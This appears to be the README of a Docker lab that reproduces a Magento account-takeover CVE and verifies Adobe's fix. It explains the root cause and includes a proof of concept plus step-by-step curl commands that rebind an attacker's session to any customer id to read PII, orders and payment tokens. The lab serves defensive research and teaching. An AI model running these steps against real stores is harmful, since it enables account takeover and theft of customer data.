CVE-2026-71362 — Magento / Adobe Commerce customer-session identity-switch lab

A self-contained, one-command Docker lab that reproduces CVE-2026-71362 end to end and lets you verify Adobe's fix, so defenders, researchers and students can study a real account-takeover primitive on a disposable store.

⚠️ Authorized use only

This lab exists to reproduce a public, patched vulnerability for defensive research and education. Run it only against the disposable store it builds. Do not use it against any Magento/Adobe Commerce instance you do not own or have explicit written permission to test. You are responsible for complying with all applicable law.

What the bug is (30-second version)

Magento\Customer\Controller\Account\Edit::execute() feeds the raw, attacker-controlled customer_form_data left in the session by a failed editPost into DataObjectHelper::populateWithArray(), which copies every matching key onto the customer object — including id. The object is then written back with Session::setCustomerData() → setCustomerId($object->getId()), and because Customer\Model\Session::getId() just returns getCustomerId(), overwriting customer_id alone makes isLoggedIn() return true as the victim. No password, token or ownership check. An attacker with only a self-registered throwaway account can rebind their session to any customer id and read that account's PII, orders, addresses and stored payment tokens.

Full walkthrough: docs/ROOTCAUSE.md. Detection & WAF rules: docs/DETECTION.md.

attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

Requirements

• Docker + Docker Compose v2
• ~6 GB RAM free for the containers, ~5 GB disk
• Python 3 (only to run the PoC) — pip install -r exploit/requirements.txt

The build pulls Magento Open Source from public sources; no Adobe Marketplace keys are required.

Quick start

git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

Storefront: http://127.0.0.1:8080/ · Admin: http://127.0.0.1:8080/admin (admin / Admin123!). Change the host/port in .env (see .env.example) — the value must match the URL you browse, because Magento pins its session cookie to the store's base URL.

Expected PoC output (vulnerable)

[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

Prove the fix (A/B/A negative control)

make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

make patch swaps in patch/Edit.patched.php — the exact upstream change from patch/official-APSB26-92-module-customer.patch. Toggling only that one file on and off is the oracle that the bug is precisely this hunk.

Manual reproduction (no Python)

# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

Remediation (real stores)

Apply the APSB26-92 August-2026 isolated patch for your branch (24Xp-2026-08-001-CE). Adobe serves the patch registry and raw diffs without credentials at https://repo.magento.com/patch/patch-registry.json. The fix is not on public GitHub — no Composer package or git tag was published for it, so composer update will not pull it.

Layout

docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics

Troubleshooting

• PoC prints "still installing" — first boot compiles Magento; run make logs and wait for Install complete, then make wait.
• Everything 500s right after install — a permission race on generated/; make shell then php bin/magento cache:flush (the entrypoint normally handles this).
• Cookie/CSRF weirdness — you're hitting a different host than the store's base URL. Keep MAGENTO_HOST/HOST_PORT in .env equal to the URL you (and TARGET) use.

References

• Adobe APSB26-92 · NVD CVE-2026-71362
• Sansec — Adobe patches critical Magento account takeover (APSB26-92)
• Credited researcher: 0x0.eth

License

MIT — see LICENSE. Provided for education and authorized testing, with no warranty.